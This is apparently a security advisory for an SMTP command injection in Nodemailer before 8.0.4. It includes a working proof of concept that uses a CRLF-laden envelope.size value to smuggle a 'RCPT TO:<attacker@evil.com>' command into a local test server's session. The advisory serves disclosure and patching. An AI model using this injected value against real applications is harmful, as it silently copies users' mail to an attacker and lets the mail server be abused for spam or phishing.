GHSA-c7w3-x93f-qmm8: Nodemailer before 8.0.4 SMTP Command Injection via envelope.size

Summary When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

javascript if (this.envelope.size && this.supportedExtensions.includes('SIZE')) { args.push('SIZE=' + this.envelope.size); }

This contrasts with other envelope parameters in the same function that ARE properly sanitized: - Addresses (from, to): validated for [\r\n<>] at lines 1107-1127 - DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

javascript const standardFields = ['to', 'cc', 'bcc', 'from']; Object.keys(envelope).forEach(key => { if (!standardFields.includes(key)) { this.envelope[key] = envelope[key]; } });

Since sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail(). While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC ave the following as poc.js and run with node poc.js:

javascript const net = require('net'); const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands const server = net.createServer(socket => { socket.write('220 localhost ESMTP\r\n'); let buffer = ''; socket.on('data', chunk => { buffer += chunk.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('C:', line); if (line.startsWith('EHLO')) { socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n'); } else if (line.startsWith('MAIL FROM')) { socket.write('250 OK\r\n'); } else if (line.startsWith('RCPT TO')) { socket.write('250 OK\r\n'); } else if (line === 'DATA') { socket.write('354 Start\r\n'); } else if (line === '.') { socket.write('250 OK\r\n'); } else if (line.startsWith('QUIT')) { socket.write('221 Bye\r\n'); socket.end(); } } }); });

server.listen(0, '127.0.0.1', () => { const port = server.address().port; console.log('SMTP server on port', port); console.log('Sending email with injected RCPT TO...\n');

const transporter = nodemailer.createTransport({ host: '127.0.0.1', port, secure: false, tls: { rejectUnauthorized: false }, });

transporter.sendMail({ from: 'sender@example.com', to: 'recipient@example.com', subject: 'Normal email', text: 'This is a normal email.', envelope: { from: 'sender@example.com', to: ['recipient@example.com'], size: '100\r\nRCPT TO:<attacker@evil.com>', }, }, (err) => { if (err) console.error('Error:', err.message); console.log('\nExpected output above:'); console.log(' C: MAIL FROM:<sender@example.com> SIZE=100'); console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED'); console.log(' C: RCPT TO:<recipient@example.com>'); server.close(); transporter.close(); }); });

Expected output: SMTP server on port 12345 Sending email with injected RCPT TO...

C: EHLO [127.0.0.1] C: MAIL FROM:<sender@example.com> SIZE=100 C: RCPT TO:<attacker@evil.com> C: RCPT TO:<recipient@example.com> C: DATA ... C: . C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

- Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport - Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server) - Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.